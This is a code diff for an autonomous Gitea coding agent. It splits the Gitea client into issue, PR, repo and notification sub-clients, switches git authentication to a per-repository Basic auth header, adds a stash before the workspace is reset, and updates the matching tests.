) -> str:
"""Get the content of a file from a repository. Args: owner, repo, path, offset (line, default 1), limit (default 250)."""
return self.file_tools.get_file_content(owner, repo, path, offset=offset, limit=limit)
def create_pull_request(self, owner: str, repo: str, head: str, base: str, title: str, description: str = "") -> str:
"""Create a new pull request. Args: owner, repo, head (source branch), base (target branch), title, description."""
return self.pr_tools.create_pull_request(owner, repo, head, base, title, description)
def update_pull_request(
self,
owner: str,
repo: str,
pull_number: int,
title: str | None = None,
body: str | None = None,
state: str | None = None,
) -> str:
"""Update an existing pull request. Args: owner, repo, pull_number, title (optional), body (optional), state (optional)."""
return self.pr_tools.update_pull_request(owner, repo, pull_number, title, body, state)
def create_issue(self, owner: str, repo: str, title: str, body: str, labels: list[str] | None = None, assignees: list[str] | None = None) -> str:
"""Create a new issue. Args: owner, repo, title, body, labels (optional), assignees (optional)."""
return self.issue_tools.create_issue(owner, repo, title, body, labels, assignees)
def create_branch(self, owner: str, repo: str, ref: str, sha: str) -> str:
"""Create a new branch in a repository. Args: owner, repo, ref (branch name), sha (commit SHA)."""
return self.git_tools.create_branch(owner, repo, ref, sha)
def commit_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
"""Commit a file to a repository. Args: owner, repo, path, message, content, branch."""
return self.file_tools.commit_file(owner, repo, path, message, content, branch)
def add_label_to_issue(self, owner: str, repo: str, issue_number: int, label: str) -> str:
"""Add a label to an issue. Args: owner, repo, issue_number, label."""
return self.issue_tools.add_label_to_issue(owner, repo, issue_number, label)
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
"""Add a label to a pull request. Args: owner, repo, pr_number, label."""
return self.pr_tools.add_label_to_pr(owner, repo, pr_number, label)
def add_comment_to_issue(self, owner: str, repo: str, issue_number: int, body: str) -> str:
"""Add a comment to an issue. Args: owner, repo, issue_number, body."""
return self.issue_tools.add_comment_to_issue(owner, repo, issue_number, body)
def get_pull_request_diff(
self,
owner: str,
repo: str,
pull_number: int,
max_chars: int = 15000,
char_offset: int = 0,
) -> str:
"""Get the diff of a pull request. Args: owner, repo, pull_number, max_chars (default 15000), char_offset (default 0)."""
return self.pr_tools.get_pull_request_diff(owner, repo, pull_number, max_chars=max_chars, char_offset=char_offset)
def get_pull_request_patch(
self,
owner: str,
repo: str,
pull_number: int,
max_chars: int = 15000,
char_offset: int = 0,
) -> str:
"""Get the patch of a pull request. Args: owner, repo, pull_number, max_chars (default 15000), char_offset (default 0)."""
return self.pr_tools.get_pull_request_patch(owner, repo, pull_number, max_chars=max_chars, char_offset=char_offset)
def approve_pull_request(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
"""Approve a pull request. Args: owner, repo, pull_number, comment."""
return self.pr_tools.approve_pull_request(owner, repo, pull_number, comment)
def request_changes(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
"""Request changes on a pull request. Args: owner, repo, pull_number, comment."""
return self.pr_tools.request_changes(owner, repo, pull_number, comment)
def add_comment(self, owner: str, repo: str, issue_number: int, body: str) -> str:
"""Add a comment to an issue. Args: owner, repo, issue_number, body."""
return self.issue_tools.add_comment(owner, repo, issue_number, body)
def add_label(self, owner: str, repo: str, issue_number: int, label: str) -> str:
"""Add a label to an issue. Args: owner, repo, issue_number, label."""
return self.issue_tools.add_label(owner, repo, issue_number, label)
def get_file_content_with_ref(
self,
owner: str,
repo: str,
path: str,
ref: str = "master",
offset: int = 1,
limit: int = 250,
) -> str:
"""Get file content with a specific git ref. Args: owner, repo, path, ref (branch/tag), offset (line, default 1), limit (default 250)."""
return self.file_tools.get_file_content_with_ref(owner, repo, path, ref=ref, offset=offset, limit=limit)
def update_file(self, owner: str, repo: str, path: str, message: str, content: str, branch: str) -> str:
"""Update a file in a repository. Args: owner, repo, path, message, content, branch."""
return self.file_tools.update_file(owner, repo, path, message, content, branch)
+41 -31
View File
@@ -1,10 +1,13 @@
"""Tools for Gitea issue operations."""
import json
import logging
from typing import Any
from gitea.client import GiteaClient
from gitea.models import IssueModel, CommentModel, LabelModel
logger: logging.Logger = logging.getLogger("gitea.tools.issue_tools")
class IssueTools:
"""Tools for Gitea issue operations."""
@@ -12,16 +15,16 @@ class IssueTools:
def __init__(self, client: GiteaClient) -> None:
self._client = client
def get_issue(self, owner: str, repo: str, issue_number: int) -> str:
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
try:
issue: IssueModel = self._client.get_issue(owner, repo, issue_number)
return issue.model_dump_json(indent=2)
return self._client.issues.get_issue(owner, repo, issue_number)
except Exception as e:
return f"Error getting issue: {str(e)}"
logger.error(f"Error getting issue #{issue_number}: {e}", exc_info=True)
raise
def close_issue(self, owner: str, repo: str, issue_number: int) -> str:
try:
self._client.close_issue(owner, repo, issue_number)
self._client.issues.close_issue(owner, repo, issue_number)
return f"Issue #{issue_number} closed successfully."
except Exception as e:
return f"Error closing issue: {str(e)}"
@@ -41,7 +44,7 @@ class IssueTools:
offset: Zero-based comment index to start from (default 0).
"""
try:
comments: list[CommentModel] = self._client.get_issue_comments(
comments: list[CommentModel] = self._client.issues.get_issue_comments(
owner, repo, issue_number
)
total: int = len(comments)
@@ -59,22 +62,29 @@ class IssueTools:
def list_assigned_issues(self) -> list[dict[str, Any]]:
try:
repos = self._client.list_all_user_repos()
repos = self._client.repos.list_all_user_repos()
all_issues: list[dict[str, Any]] = []
for repo in repos:
owner = repo.owner
repo_name = repo.name
issues = self._client.list_assigned_issues(owner, repo_name)
issues = self._client.issues.list_assigned_issues(owner, repo_name)
if issues:
all_issues.extend([issue.model_dump() if hasattr(issue, 'model_dump') else issue for issue in issues])
all_issues.extend(
[
issue.model_dump()
if hasattr(issue, "model_dump")
else issue
for issue in issues
]
)
return all_issues
except Exception as e:
print(f"DEBUG: list_assigned_issues error: {e}")
logger.error(f"Error listing assigned issues: {e}", exc_info=True)
return []
def list_issues(self, owner: str, repo: str, state: str = "open") -> str:
try:
issues = self._client.list_repo_issues(owner, repo, state)
issues = self._client.issues.list_repo_issues(owner, repo, state)
if not issues:
return f"No issues in {owner}/{repo}."
summary = [f"#{issue.number}: {issue.title}" for issue in issues]
@@ -82,37 +92,37 @@ class IssueTools:
except Exception as e:
return f"Error listing issues: {str(e)}"
def create_issue(self, owner: str, repo: str, title: str, body: str, labels: list[str] | None = None, assignees: list[str] | None = None) -> str:
def create_issue(
self,
owner: str,
repo: str,
title: str,
body: str,
labels: list[str] | None = None,
assignees: list[str] | None = None,
) -> str:
try:
issue = self._client.create_issue(owner, repo, title, body, labels, assignees)
issue = self._client.issues.create_issue(
owner, repo, title, body, labels, assignees
)
return f"Issue #{issue.number} created successfully in {owner}/{repo}."
except Exception as e:
return f"Error creating issue: {str(e)}"
def add_label_to_issue(self, owner: str, repo: str, issue_number: int, label: str) -> str:
def add_label_to_issue(
self, owner: str, repo: str, issue_number: int, label: str
) -> str:
try:
self._client.add_label(owner, repo, issue_number, label)
self._client.issues.add_label(owner, repo, issue_number, label)
return f"Label '{label}' added to issue #{issue_number}."
except Exception as e:
return f"Error adding label to issue #{issue_number}: {e}"
def add_comment_to_issue(self, owner: str, repo: str, issue_number: int, body: str) -> str:
def add_comment_to_issue(
self, owner: str, repo: str, issue_number: int, body: str
) -> str:
try:
self._client.add_comment(owner, repo, issue_number, body)
self._client.issues.add_comment(owner, repo, issue_number, body)
return f"Comment added to issue #{issue_number}."
except Exception as e:
return f"Error adding comment to issue #{issue_number}: {e}"
def add_comment(self, owner: str, repo: str, issue_number: int, body: str) -> str:
try:
comment = self._client.add_comment(owner, repo, issue_number, body)
return f"Comment added to #{issue_number}."
except Exception as e:
return f"Error adding comment: {str(e)}"
def add_label(self, owner: str, repo: str, issue_number: int, label: str) -> str:
try:
self._client.add_label(owner, repo, issue_number, label)
return f"Label '{label}' added to #{issue_number}."
except Exception as e:
return f"Error adding label: {str(e)}"
+55 -26
View File
@@ -1,10 +1,14 @@
"""Tools for Gitea pull request operations."""
import json
import logging
from typing import Any
from gitea.client import GiteaClient
from gitea.models import PullRequestModel, CommentModel
logger: logging.Logger = logging.getLogger("gitea.tools.pr_tools")
_MAX_DIFF_CHARS: int = 15_000
@@ -36,16 +40,16 @@ class PRTools:
def __init__(self, client: GiteaClient) -> None:
self._client = client
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
try:
pr: PullRequestModel = self._client.get_pull_request(owner, repo, pull_number)
return pr.model_dump_json(indent=2)
return self._client.prs.get_pull_request(owner, repo, pull_number)
except Exception as e:
return f"Error getting pull request: {str(e)}"
logger.error(f"Error getting pull request #{pull_number}: {e}", exc_info=True)
raise
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> str:
try:
self._client.close_pull_request(owner, repo, pull_number)
self._client.prs.close_pull_request(owner, repo, pull_number)
return f"Pull request #{pull_number} closed successfully."
except Exception as e:
return f"Error closing pull request: {str(e)}"
@@ -65,7 +69,7 @@ class PRTools:
offset: Zero-based comment index to start from (default 0).
"""
try:
comments: list[CommentModel] = self._client.get_pull_request_comments(
comments: list[CommentModel] = self._client.prs.get_pull_request_comments(
owner, repo, pull_number
)
total: int = len(comments)
@@ -83,22 +87,29 @@ class PRTools:
def list_assigned_pull_requests(self) -> list[dict[str, Any]]:
try:
repos = self._client.list_all_user_repos()
repos = self._client.repos.list_all_user_repos()
all_prs: list[dict[str, Any]] = []
for repo_info in repos:
repo_owner = repo_info.owner
repo_name = repo_info.name
prs = self._client.list_assigned_pull_requests(repo_owner, repo_name)
prs = self._client.prs.list_assigned_pull_requests(
repo_owner, repo_name
)
if prs:
all_prs.extend([pr.model_dump() if hasattr(pr, 'model_dump') else pr for pr in prs])
all_prs.extend(
[
pr.model_dump() if hasattr(pr, "model_dump") else pr
for pr in prs
]
)
return all_prs
except Exception as e:
print(f"DEBUG: list_assigned_pull_requests error: {e}")
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
return []
def list_pull_requests(self, owner: str, repo: str, state: str = "open") -> str:
try:
prs = self._client.list_repo_pull_requests(owner, repo, state)
prs = self._client.prs.list_repo_pull_requests(owner, repo, state)
if not prs:
return f"No PRs in {owner}/{repo}."
summary = [f"#{pr.number}: {pr.title}" for pr in prs]
@@ -106,12 +117,22 @@ class PRTools:
except Exception as e:
return f"Error listing PRs: {str(e)}"
def create_pull_request(self, owner: str, repo: str, head: str, base: str, title: str, description: str = "") -> str:
def create_pull_request(
self,
owner: str,
repo: str,
head: str,
base: str,
title: str,
description: str = "",
) -> PullRequestModel:
try:
pr = self._client.create_pr_via_tea(owner, repo, title, description, head, base)
return pr.model_dump_json(indent=2)
return self._client.prs.create_pr_via_tea(
owner, repo, title, description, head, base
)
except Exception as e:
return f"Error creating PR: {str(e)}"
logger.error(f"Error creating PR in {owner}/{repo}: {e}", exc_info=True)
raise
def update_pull_request(
self,
@@ -121,16 +142,18 @@ class PRTools:
title: str | None = None,
body: str | None = None,
state: str | None = None,
) -> str:
) -> PullRequestModel:
try:
pr = self._client.update_pull_request(owner, repo, pull_number, title, body, state)
return pr.model_dump_json(indent=2)
return self._client.prs.update_pull_request(
owner, repo, pull_number, title, body, state
)
except Exception as e:
return f"Error updating PR #{pull_number}: {str(e)}"
logger.error(f"Error updating PR #{pull_number}: {e}", exc_info=True)
raise
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
try:
self._client.add_label_pr(owner, repo, pr_number, label)
self._client.prs.add_label_pr(owner, repo, pr_number, label)
return f"Label '{label}' added to PR #{pr_number}."
except Exception as e:
return f"Error adding label to PR #{pr_number}: {e}"
@@ -151,7 +174,7 @@ class PRTools:
Increment by max_chars to page through a large diff.
"""
try:
diff: str = self._client.get_pull_request_diff(owner, repo, pull_number)
diff: str = self._client.prs.get_pull_request_diff(owner, repo, pull_number)
return _truncate_diff(diff, max_chars, char_offset)
except Exception as e:
return f"Error getting PR diff: {str(e)}"
@@ -172,21 +195,27 @@ class PRTools:
Increment by max_chars to page through a large patch.
"""
try:
patch: str = self._client.get_pull_request_patch(owner, repo, pull_number)
patch: str = self._client.prs.get_pull_request_patch(
owner, repo, pull_number
)
return _truncate_diff(patch, max_chars, char_offset)
except Exception as e:
return f"Error getting PR patch: {str(e)}"
def approve_pull_request(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
def approve_pull_request(
self, owner: str, repo: str, pull_number: int, comment: str
) -> str:
try:
self._client.approve_pr(owner, repo, pull_number, comment)
self._client.prs.approve_pr(owner, repo, pull_number, comment)
return f"Approved PR #{pull_number}."
except Exception as e:
return f"Error approving PR: {str(e)}"
def request_changes(self, owner: str, repo: str, pull_number: int, comment: str) -> str:
def request_changes(
self, owner: str, repo: str, pull_number: int, comment: str
) -> str:
try:
self._client.request_changes_pr(owner, repo, pull_number, comment)
self._client.prs.request_changes_pr(owner, repo, pull_number, comment)
return f"Requested changes on PR #{pull_number}."
except Exception as e:
return f"Error requesting changes: {str(e)}"
+103 -53
View File
@@ -1,9 +1,12 @@
import os
import logging
import subprocess
import base64
import shutil
from pathlib import Path
from urllib.parse import urlparse
from .config import GITEA_REPOS_ROOT, GITEA_URL, GITEA_TOKEN
from gitea.client import GiteaClient
logger: logging.Logger = logging.getLogger("gitea-workspace")
@@ -14,60 +17,48 @@ class WorkspaceManager:
def __init__(self) -> None:
self.root_dir: Path = Path(GITEA_REPOS_ROOT).expanduser().resolve()
self.root_dir.mkdir(parents=True, exist_ok=True)
self._configure_git_credentials()
def _configure_git_credentials(self) -> None:
try:
# Unset any global configs we might have set previously
subprocess.run(
["git", "config", "--global", "--unset", "credential.helper"],
capture_output=True
)
subprocess.run(
["git", "config", "--global", "--unset", "user.name"],
capture_output=True
)
subprocess.run(
["git", "config", "--global", "--unset", "user.email"],
capture_output=True
)
except Exception as e:
logger.error(f"Error unsetting global configs: {e}")
def _configure_repo_user(self, repo_path: Path) -> None:
try:
# Configure credential helper locally for the repo
subprocess.run(
["git", "-C", str(repo_path), "config", "credential.helper", "store"],
check=True, capture_output=True
)
# Write to ~/.git-credentials
parsed = urlparse(GITEA_URL.rstrip("/"))
cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
cred_file = Path("~/.git-credentials").expanduser()
if cred_file.exists():
content = cred_file.read_text()
if cred_line.strip() not in content:
cred_file.write_text(content + cred_line)
else:
cred_file.write_text(cred_line)
from gitea.client import GiteaClient
client = GiteaClient()
user = client.get_authenticated_user()
if user:
name = user.full_name or user.login or "meeks-ai"
email = user.email or "micke_ingvarsson+ai@hotmail.com"
user = client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
username: str = user.login
auth_str: str = f"{username}:{GITEA_TOKEN}"
auth_bytes: bytes = auth_str.encode("utf-8")
auth_b64: str = base64.b64encode(auth_bytes).decode("utf-8")
# Configure extraHeader locally for the repo
subprocess.run(
[
"git",
"-C",
str(repo_path),
"config",
"http.extraHeader",
f"Authorization: Basic {auth_b64}",
],
check=True,
capture_output=True,
)
name: str = user.full_name or user.login
email: str = user.email or f"{user.login}@noreply.gitea"
subprocess.run(
["git", "-C", str(repo_path), "config", "user.name", name],
check=True, capture_output=True
check=True,
capture_output=True,
)
subprocess.run(
["git", "-C", str(repo_path), "config", "user.email", email],
check=True, capture_output=True
check=True,
capture_output=True,
)
except Exception as e:
logger.error(f"Error configuring local git user: {e}")
raise
def get_repo_path(self, repo_full_name: str) -> Path:
parts: list[str] = repo_full_name.split("/")
@@ -83,53 +74,112 @@ class WorkspaceManager:
auth_url = self._get_authenticated_url(repo_full_name)
subprocess.run(
["git", "-C", str(repo_path), "remote", "set-url", "origin", auth_url],
check=True, capture_output=True,
check=True,
capture_output=True,
)
self._configure_repo_user(repo_path)
# Check for any uncommitted changes or untracked files
status_res = subprocess.run(
["git", "-C", str(repo_path), "status", "--porcelain"],
check=True,
capture_output=True,
text=True,
)
if status_res.stdout.strip():
logger.info(
f"Uncommitted changes detected in {repo_path}. Stashing before sanitization."
)
subprocess.run(
[
"git",
"-C",
str(repo_path),
"stash",
"push",
"-u",
"-m",
"Auto-backup before agent sanitization",
],
check=True,
capture_output=True,
)
subprocess.run(
["git", "-C", str(repo_path), "reset", "--hard", "HEAD"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
subprocess.run(
["git", "-C", str(repo_path), "clean", "-fdx"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
try:
subprocess.run(
["git", "-C", str(repo_path), "checkout", "main"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
except subprocess.CalledProcessError:
subprocess.run(
["git", "-C", str(repo_path), "checkout", "master"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
try:
subprocess.run(
["git", "-C", str(repo_path), "pull", "origin", "main"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
except subprocess.CalledProcessError:
subprocess.run(
["git", "-C", str(repo_path), "pull", "origin", "master"],
check=True, capture_output=True,
check=True,
capture_output=True,
)
except Exception as e:
logger.error(f"Error during sanitization: {e}")
logger.error(f"Error during sanitization: {e}", exc_info=True)
raise RuntimeError(
f"Failed to sanitize repository {repo_full_name} at {repo_path}: {e}"
) from e
def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
repo_path: Path = self.get_repo_path(repo_full_name)
if repo_path.exists():
if not (repo_path / ".git").exists():
new_path: Path = repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
new_path: Path = (
repo_path.parent / f"{repo_full_name.replace('/', '_')}_old"
)
if new_path.exists():
import shutil
shutil.rmtree(new_path)
repo_path.rename(new_path)
return repo_path
logger.info(f"Cloning repository {repo_full_name} to {repo_path}...")
auth_url = self._get_authenticated_url(repo_full_name)
subprocess.run(["git", "clone", auth_url, str(repo_path)], check=True, capture_output=True)
client = GiteaClient()
user = client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
username: str = user.login
auth_str: str = f"{username}:{GITEA_TOKEN}"
auth_bytes: bytes = auth_str.encode("utf-8")
auth_b64: str = base64.b64encode(auth_bytes).decode("utf-8")
subprocess.run(
[
"git",
"clone",
"-c",
f"http.extraHeader=Authorization: Basic {auth_b64}",
auth_url,
str(repo_path),
],
check=True,
capture_output=True,
)
self._configure_repo_user(repo_path)
return repo_path
+39 -11
View File
@@ -7,8 +7,11 @@ from pathlib import Path
from dotenv import load_dotenv
from gitea.client import GiteaClient
from gitea.tools.gitea_tools import GiteaTools
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
from gitea.tools.issue_tools import IssueTools
from gitea.tools.pr_tools import PRTools
from gitea.tools.file_tools import FileTools
from gitea.tools.git_tools import GitTools
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES, GITEA_REPOS_ROOT
from core.orchestrator import AgentOrchestrator
import json
@@ -38,12 +41,11 @@ file_handler = RotatingFileHandler(LOG_FILE, maxBytes=5 * 1024 * 1024, backupCou
file_handler.setFormatter(JSONFormatter())
stream_handler = logging.StreamHandler()
stream_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
logging.basicConfig(
level=logging.INFO,
handlers=[file_handler, stream_handler]
stream_handler.setFormatter(
logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
)
logging.basicConfig(level=logging.INFO, handlers=[file_handler, stream_handler])
logger: logging.Logger = logging.getLogger("coding-agent")
@@ -58,11 +60,33 @@ async def main() -> None:
# Initialize Gitea components
client: GiteaClient = GiteaClient()
tools: GiteaTools = GiteaTools(client)
try:
user = client.repos.get_authenticated_user()
if not user or not user.login:
raise RuntimeError("No authenticated user found.")
logger.info(f"Authenticated as user: {user.login}")
except Exception as e:
logger.critical(
f"Critical initialization error: No authenticated user found. {e}"
)
raise SystemExit(1)
issue_tools: IssueTools = IssueTools(client)
pr_tools: PRTools = PRTools(client)
file_tools: FileTools = FileTools(client, GITEA_REPOS_ROOT)
git_tools: GitTools = GitTools(client)
model_name: str = AGENT_MODEL_ID
# Initialize orchestrator
orchestrator: AgentOrchestrator = AgentOrchestrator(client, tools, model_name, AGENT_MAX_RETRIES)
orchestrator: AgentOrchestrator = AgentOrchestrator(
client,
issue_tools,
pr_tools,
file_tools,
git_tools,
model_name,
AGENT_MAX_RETRIES,
)
logger.info("--- Autonomous Coding Agent Active ---")
logger.info(f"Model: {model_name}")
@@ -91,11 +115,15 @@ async def main() -> None:
break
except Exception as e:
consecutive_errors += 1
logger.error(f"Error in main loop (attempt {consecutive_errors}/{max_consecutive_errors}): {e}")
logger.error(
f"Error in main loop (attempt {consecutive_errors}/{max_consecutive_errors}): {e}"
)
# If too many consecutive errors, wait longer
if consecutive_errors >= max_consecutive_errors:
logger.error(f"Too many consecutive errors ({max_consecutive_errors}). Waiting 5 minutes before retry.")
logger.error(
f"Too many consecutive errors ({max_consecutive_errors}). Waiting 5 minutes before retry."
)
await asyncio.sleep(300)
consecutive_errors = 0
else:
+28 -15
View File
@@ -9,7 +9,6 @@ from gitea.tools.coding_tools import CodingTools
from core.dispatcher import AgentDispatcher
from core.queue import WorkItem
from gitea.client import GiteaClient
from gitea.tools.gitea_tools import GiteaTools
from gitea.models import IssueModel, PullRequestModel
pytestmark = pytest.mark.anyio
@@ -96,27 +95,32 @@ def test_run_verification_failure(tmp_path: Path) -> None:
@patch("core.dispatcher.CodingAgent")
@patch("core.dispatcher.PlanningAgent")
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
# Mock sub-clients
mock_client.prs = MagicMock()
mock_client.issues = MagicMock()
mock_client.notifications = MagicMock()
# Mock no existing PRs
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_issue_comments.return_value = []
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.issues.get_issue_comments.return_value = []
from gitea.models import UserModel
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
mock_pr = PullRequestModel(
number=42,
title="fix bug",
body="bug details",
user=UserModel(login="meeks-ai")
user=UserModel(login="unknown-ai"),
requested_reviewers=[UserModel(login="unknown-ai")],
)
mock_client.get_pull_request.return_value = mock_pr
mock_client.get_pull_request_diff.return_value = "diff"
mock_client.get_pull_request_comments.return_value = []
mock_client.get_pull_request_files.return_value = []
mock_client.get_pr_reviews.return_value = []
mock_client.prs.get_pull_request.return_value = mock_pr
mock_client.prs.get_pull_request_diff.return_value = "diff"
mock_client.prs.get_pull_request_comments.return_value = []
mock_client.prs.get_pull_request_files.return_value = []
mock_client.prs.get_pr_reviews.return_value = []
# Mock agent instances
mock_planning_agent = MagicMock()
@@ -127,7 +131,18 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
mock_coding_class.return_value = mock_coding_agent
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
from gitea.tools.issue_tools import IssueTools
from gitea.tools.pr_tools import PRTools
from gitea.tools.file_tools import FileTools
from gitea.tools.git_tools import GitTools
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=IssueTools(mock_client),
pr_tools=PRTools(mock_client),
file_tools=FileTools(mock_client),
git_tools=GitTools(mock_client),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
@@ -137,8 +152,6 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
priority=0
)
# We mock os.path.isdir to return True so os.chdir won't fail or crash in test
with patch("os.path.isdir", return_value=True), patch("os.chdir"):
results = await dispatcher.dispatch("meeks/repo1", [work_item])
assert len(results) == 1
+51 -16
View File
@@ -11,7 +11,7 @@ def test_gitea_client_list_repo_issues() -> None:
mock_get.return_value = mock_response
# Test default parameter ("open")
client.list_repo_issues("owner", "repo")
client.issues.list_repo_issues("owner", "repo")
mock_get.assert_called_once()
args, _ = mock_get.call_args
assert "type=issues" in args[0]
@@ -20,7 +20,7 @@ def test_gitea_client_list_repo_issues() -> None:
mock_get.reset_mock()
# Test custom parameter ("closed")
client.list_repo_issues("owner", "repo", state="closed")
client.issues.list_repo_issues("owner", "repo", state="closed")
mock_get.assert_called_once()
args, _ = mock_get.call_args
assert "type=issues" in args[0]
@@ -36,7 +36,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
mock_get.return_value = mock_response
# Test default parameter ("open")
client.list_repo_pull_requests("owner", "repo")
client.prs.list_repo_pull_requests("owner", "repo")
mock_get.assert_called_once()
args, _ = mock_get.call_args
assert "state=open" in args[0]
@@ -44,7 +44,7 @@ def test_gitea_client_list_repo_pull_requests() -> None:
mock_get.reset_mock()
# Test custom parameter ("closed")
client.list_repo_pull_requests("owner", "repo", state="closed")
client.prs.list_repo_pull_requests("owner", "repo", state="closed")
mock_get.assert_called_once()
args, _ = mock_get.call_args
assert "state=closed" in args[0]
@@ -55,14 +55,17 @@ def test_gitea_client_list_assigned_issues() -> None:
user_mock: MagicMock = MagicMock()
user_mock.login = "testuser"
with patch.object(client, "get_authenticated_user", return_value=user_mock), \
patch("httpx.get") as mock_get:
with (
patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
patch.object(client.issues, "_get_user", return_value=user_mock),
patch("httpx.Client.get") as mock_get,
):
mock_response: MagicMock = MagicMock()
mock_response.status_code = 200
mock_response.json.return_value = []
mock_get.return_value = mock_response
client.list_assigned_issues("owner", "repo")
client.issues.list_assigned_issues("owner", "repo")
mock_get.assert_called_once()
args, _ = mock_get.call_args
assert "type=issues" in args[0]
@@ -74,18 +77,36 @@ def test_gitea_client_list_assigned_pull_requests() -> None:
user_mock: MagicMock = MagicMock()
user_mock.login = "testuser"
with patch.object(client, "get_authenticated_user", return_value=user_mock), \
patch("httpx.get") as mock_get:
with (
patch.object(client.repos, "get_authenticated_user", return_value=user_mock),
patch.object(client.prs, "_get_user", return_value=user_mock),
patch("httpx.Client.get") as mock_get,
):
mock_response: MagicMock = MagicMock()
mock_response.status_code = 200
mock_response.json.return_value = [
{"number": 1, "title": "PR 1", "assignee": {"login": "testuser"}, "user": {"login": "otheruser"}},
{"number": 2, "title": "PR 2", "assignee": None, "user": {"login": "testuser"}},
{"number": 3, "title": "PR 3", "assignee": {"login": "otheruser"}, "user": {"login": "otheruser"}}
{
"number": 1,
"title": "PR 1",
"assignee": {"login": "testuser"},
"user": {"login": "otheruser"},
},
{
"number": 2,
"title": "PR 2",
"assignee": None,
"user": {"login": "testuser"},
},
{
"number": 3,
"title": "PR 3",
"assignee": {"login": "otheruser"},
"user": {"login": "otheruser"},
},
]
mock_get.return_value = mock_response
res = client.list_assigned_pull_requests("owner", "repo")
res = client.prs.list_assigned_pull_requests("owner", "repo")
mock_get.assert_called_once()
assert len(res) == 2
numbers = [pr.number for pr in res]
@@ -106,7 +127,7 @@ def test_gitea_client_list_unread_notifications() -> None:
mock_get.return_value = mock_response
# Test without since
res = client.list_unread_notifications()
res = client.notifications.list_unread_notifications()
mock_get.assert_called_once()
_, kwargs = mock_get.call_args
assert kwargs.get("params") == {"all": "false"}
@@ -116,9 +137,23 @@ def test_gitea_client_list_unread_notifications() -> None:
mock_get.reset_mock()
# Test with since
res = client.list_unread_notifications(since="2026-06-30T21:41:16+02:00")
res = client.notifications.list_unread_notifications(
since="2026-06-30T21:41:16+02:00"
)
mock_get.assert_called_once()
_, kwargs = mock_get.call_args
assert kwargs.get("params") == {"all": "false", "since": "2026-06-30T21:41:16+02:00"}
assert kwargs.get("params") == {
"all": "false",
"since": "2026-06-30T21:41:16+02:00",
}
import pytest
def test_gitea_client_get_authenticated_user_failure() -> None:
client: GiteaClient = GiteaClient()
with patch("httpx.Client.get") as mock_get:
mock_get.side_effect = Exception("Connection error")
with pytest.raises(RuntimeError, match="Could not get authenticated user"):
client.repos.get_authenticated_user()
+20 -2
View File
@@ -126,8 +126,17 @@ def test_grep_search_success(mock_popen: MagicMock) -> None:
mock_process.returncode = 0
mock_popen.return_value = mock_process
res: str = CodingTools().grep_search("pattern", "/path")
tools = CodingTools()
res: str = tools.grep_search("pattern", "/path")
assert res == "match_line"
mock_popen.assert_called_once_with(
["grep", "-ri", "pattern", tools._resolve_path("/path")],
shell=False,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
cwd=tools.repo_path,
)
@patch("subprocess.Popen")
@@ -137,8 +146,17 @@ def test_grep_search_no_matches(mock_popen: MagicMock) -> None:
mock_process.returncode = 1
mock_popen.return_value = mock_process
res: str = CodingTools().grep_search("pattern", "/path")
tools = CodingTools()
res: str = tools.grep_search("pattern", "/path")
assert "No matches found" in res
mock_popen.assert_called_once_with(
["grep", "-ri", "pattern", tools._resolve_path("/path")],
shell=False,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
cwd=tools.repo_path,
)
def test_grep_search_error() -> None:
+291 -107
View File
@@ -2,16 +2,19 @@ import pytest
from unittest.mock import MagicMock, AsyncMock, patch, ANY
from core.dispatcher import AgentDispatcher
from core.queue import WorkItem
from gitea.client import GiteaClient
from gitea.tools.gitea_tools import GiteaTools
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
pytestmark = pytest.mark.anyio
async def test_dispatch_skips_issue_with_existing_pr() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
# Mock sub-clients
mock_client.prs = MagicMock()
mock_client.issues = MagicMock()
mock_client.notifications = MagicMock()
# Mock list_repo_pull_requests to return a PR that closes issue #42
pr = PullRequestModel(
